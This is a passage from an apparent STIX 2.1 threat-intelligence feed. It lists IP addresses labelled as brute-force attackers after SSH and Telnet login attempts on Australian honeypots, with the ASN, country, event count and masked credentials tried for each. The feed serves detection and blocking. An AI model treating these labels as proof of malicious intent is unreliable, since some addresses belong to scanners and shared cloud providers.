      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7d56687f-fcd8-49ab-9237-9dce1d59e924",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T23:15:07.000Z",
      "valid_until": "2026-04-24T23:15:05.000Z"
    },
    {
      "created": "2026-03-23T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--86020fc7-8775-4177-919b-03073afac90e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T23:15:07.000Z",
      "valid_until": "2026-04-24T23:15:05.000Z"
    },
    {
      "created": "2026-03-23T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 267251. Organisation(s): TELEFONARNET TELECOMUNICACOES. Usernames observed (masked): r**t. Passwords observed (masked): A*******!.",
      "id": "indicator--46a2ed47-6052-48bb-be2b-493db0fc4e5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.232.73.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T23:15:07.000Z",
      "valid_until": "2026-04-24T23:15:05.000Z"
    },
    {
      "created": "2026-03-23T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 34224. Organisation(s): Neterra Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): K*******1.",
      "id": "indicator--557c80d5-dbdc-4e31-8665-c9ab5d24c30c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.156.221.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T23:15:07.000Z",
      "valid_until": "2026-04-24T23:15:05.000Z"
    },
    {
      "created": "2026-03-23T23:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--45ccf302-9eb6-4a73-9643-36448148546f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.9.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T23:15:07.000Z",
      "valid_until": "2026-04-24T23:15:05.000Z"
    },
    {
      "created": "2026-03-24T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): a******3, o****5. Passwords observed (masked): a**************d, o********3.",
      "id": "indicator--b2f0c957-600e-4fcd-8ad0-f4822371b975",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.31.234.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T00:15:14.000Z",
      "valid_until": "2026-04-25T00:15:11.000Z"
    },
    {
      "created": "2026-03-24T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 136958. Organisation(s): China Unicom Guangdong IP network. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, h******!, r********6.",
      "id": "indicator--959a9cb7-96c8-4332-a20c-a77d600962da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.255.29.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T00:15:14.000Z",
      "valid_until": "2026-04-25T00:15:11.000Z"
    },
    {
      "created": "2026-03-24T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): r****r, 3**********4, ***, a****r, f******1. Passwords observed (masked): 1***5, 1******8, 3***********4, 3**********4, M*******3.",
      "id": "indicator--fdfd811c-98bd-45da-8521-78cb15af2e70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.154.77.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T00:15:14.000Z",
      "valid_until": "2026-04-25T00:15:11.000Z"
    },
    {
      "created": "2026-03-24T00:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--08e75bc2-229f-45c3-9798-5e73b71ac64c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.87.70.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T00:15:14.000Z",
      "valid_until": "2026-04-25T00:15:11.000Z"
    },
    {
      "created": "2026-03-24T00:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--fb2d7dd3-562c-43b0-8f93-114ba36dc478",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.53.120.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T00:15:14.000Z",
      "valid_until": "2026-04-25T00:15:11.000Z"
    },
    {
      "created": "2026-03-24T01:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--92a54510-cc34-4d2c-a151-feae91d32c4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T01:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.213.112.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T01:15:24.000Z",
      "valid_until": "2026-04-25T01:15:11.000Z"
    },
    {
      "created": "2026-03-24T01:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 136334. Organisation(s): Vortex Netsol Private Limited.",
      "id": "indicator--0465a08c-d959-4b08-a287-b6d7baece127",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T01:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.219.41.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T01:15:24.000Z",
      "valid_until": "2026-04-25T01:15:11.000Z"
    },
    {
      "created": "2026-03-24T01:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--a11c1e8d-6a02-4fd6-8de6-7c7ce57e0af4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T01:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.254.223.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T01:15:24.000Z",
      "valid_until": "2026-04-25T01:15:11.000Z"
    },
    {
      "created": "2026-03-24T01:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--f217f836-67cd-4571-8cb4-3716e5930880",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T01:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '135.237.125.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T01:15:24.000Z",
      "valid_until": "2026-04-25T01:15:11.000Z"
    },
    {
      "created": "2026-03-24T01:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 189. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): 3**********4, r**t, t**t, ***, b****n. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1******8, Q*******@.",
      "id": "indicator--dc40de0e-e0e2-4e90-b1bd-03ce0787f77d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T01:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.167.144.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T01:15:24.000Z",
      "valid_until": "2026-04-25T01:15:11.000Z"
    },
    {
      "created": "2026-03-24T01:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 3920. Organisation(s): PUSHPKT OU. Usernames observed (masked): c***l, 3**********4, l*******r, o*****n, r**t. Passwords observed (masked): 1****6, 1***5, 1******8, 3***********4, 3**********4.",
      "id": "indicator--46146546-cbe8-494a-9606-f29d311b14e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T01:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.49.227.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T01:15:24.000Z",
      "valid_until": "2026-04-25T01:15:11.000Z"
    },
    {
      "created": "2026-03-24T01:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--07fbce54-2293-4124-bff4-b9d8ef9c888f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T01:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.91.1.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T01:15:24.000Z",
      "valid_until": "2026-04-25T01:15:11.000Z"
    },
    {
      "created": "2026-03-24T02:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): d***y, r**t, s******1, x**c. Passwords observed (masked): 1****6, d********y, s******3, s**********s.",
      "id": "indicator--877cc022-4c9a-4476-be4a-1b17807fc536",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T02:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.126.82.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T02:15:09.000Z",
      "valid_until": "2026-04-25T02:15:05.000Z"
    },
    {
      "created": "2026-03-24T02:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 302. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 135692. Organisation(s): Global Ra Net Services Pvt. Ltd.. Usernames observed (masked): 3**********4, a****a, f*****t, k***l, r**t. Passwords observed (masked): 3***********4, 3**********4, p******d, ***, 1**4.",
      "id": "indicator--4aa6cf4c-27b2-4063-a53a-5aef37de787a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T02:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.105.155.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T02:15:09.000Z",
      "valid_until": "2026-04-25T02:15:05.000Z"
    },
    {
      "created": "2026-03-24T02:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--5f2d59dd-6309-46e9-9aa1-bf26f72bd066",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T02:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '13.89.125.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T02:15:09.000Z",
      "valid_until": "2026-04-25T02:15:05.000Z"
    },
    {
      "created": "2026-03-24T02:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 231. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, a****a, f*****t, r**t, ***. Passwords observed (masked): 3***********4, 3**********4, p******d, ***, 1**4.",
      "id": "indicator--0325ee31-574a-4ff7-8f22-295c505042eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T02:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.174.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T02:15:09.000Z",
      "valid_until": "2026-04-25T02:15:05.000Z"
    },
    {
      "created": "2026-03-24T02:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 302. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, a****a, f*****t, k***l, r**t. Passwords observed (masked): 3***********4, 3**********4, p******d, ***, 1**4.",
      "id": "indicator--7c4ca1cd-e55a-4dfd-b401-8b9f55612102",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T02:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.215.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T02:15:09.000Z",
      "valid_until": "2026-04-25T02:15:05.000Z"
    },
    {
      "created": "2026-03-24T02:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--6e85daae-18ef-4b01-aab0-4007c58fa161",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T02:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.117.15.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T02:15:09.000Z",
      "valid_until": "2026-04-25T02:15:05.000Z"
    },
    {
      "created": "2026-03-24T02:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d1de4275-fa25-4bff-a718-97502f11a16d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T02:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T02:15:09.000Z",
      "valid_until": "2026-04-25T02:15:05.000Z"
    },
    {
      "created": "2026-03-24T02:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--0ac47fc9-3613-4617-865c-29ff8b5428e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T02:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T02:15:09.000Z",
      "valid_until": "2026-04-25T02:15:05.000Z"
    },
    {
      "created": "2026-03-24T02:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--719367e2-a0e2-44d9-bc36-eaef04be074a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T02:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T02:15:09.000Z",
      "valid_until": "2026-04-25T02:15:05.000Z"
    },
    {
      "created": "2026-03-24T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): r**t, d*****1, 3**********4, a****a, b**t. Passwords observed (masked): 1****6, ***, 1*******., 1**4, 1***5.",
      "id": "indicator--e846f0ce-06a4-4d09-874a-a3319b48b879",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.248.82.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T03:15:14.000Z",
      "valid_until": "2026-04-25T03:15:12.000Z"
    },
    {
      "created": "2026-03-24T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--e5a0bbf1-e64a-4469-9821-9cedaa405240",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.219.84.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T03:15:14.000Z",
      "valid_until": "2026-04-25T03:15:12.000Z"
    },
    {
      "created": "2026-03-24T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 6856. Organisation(s): AO IK Informsvyaz-Chernozemye.",
      "id": "indicator--e447fbfb-b371-4162-b9f2-326ac0b1878a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.98.81.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T04:15:13.000Z",
      "valid_until": "2026-04-25T04:15:11.000Z"
    },
    {
      "created": "2026-03-24T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--c1648b27-d721-4d98-8746-68dc0c3500a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.211.114.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T04:15:13.000Z",
      "valid_until": "2026-04-25T04:15:11.000Z"
    },
    {
      "created": "2026-03-24T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 27847. Organisation(s): TECNOLOGIA DIGITAL, S.A. DGTEC. Usernames observed (masked): x**c, 3**********4, r**l, r**t, ***. Passwords observed (masked): 1**4, 3***********4, 3**********4, Z*****!, a****1.",
      "id": "indicator--354bfdb8-12c6-432b-83d0-7e01f5a98d5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.172.152.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T04:15:13.000Z",
      "valid_until": "2026-04-25T04:15:11.000Z"
    },
    {
      "created": "2026-03-24T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266046. Organisation(s): INTERCONNECT TRANSMISSAO DE DADOS.",
      "id": "indicator--8dd49cbf-e137-409b-8d08-0b0b25865f23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.4.74.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T04:15:13.000Z",
      "valid_until": "2026-04-25T04:15:11.000Z"
    },
    {
      "created": "2026-03-24T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--9a992da8-0669-40c0-9ada-304d14552518",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T04:15:13.000Z",
      "valid_until": "2026-04-25T04:15:11.000Z"
    },
    {
      "created": "2026-03-24T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--3df0412a-95ca-4e1d-9cdb-50eb615baa8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '75.119.143.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T04:15:13.000Z",
      "valid_until": "2026-04-25T04:15:11.000Z"
    },
    {
      "created": "2026-03-24T05:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7921e893-4c5b-4c47-86eb-7ab7ef052f2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T05:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.211.68.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:15:07.000Z",
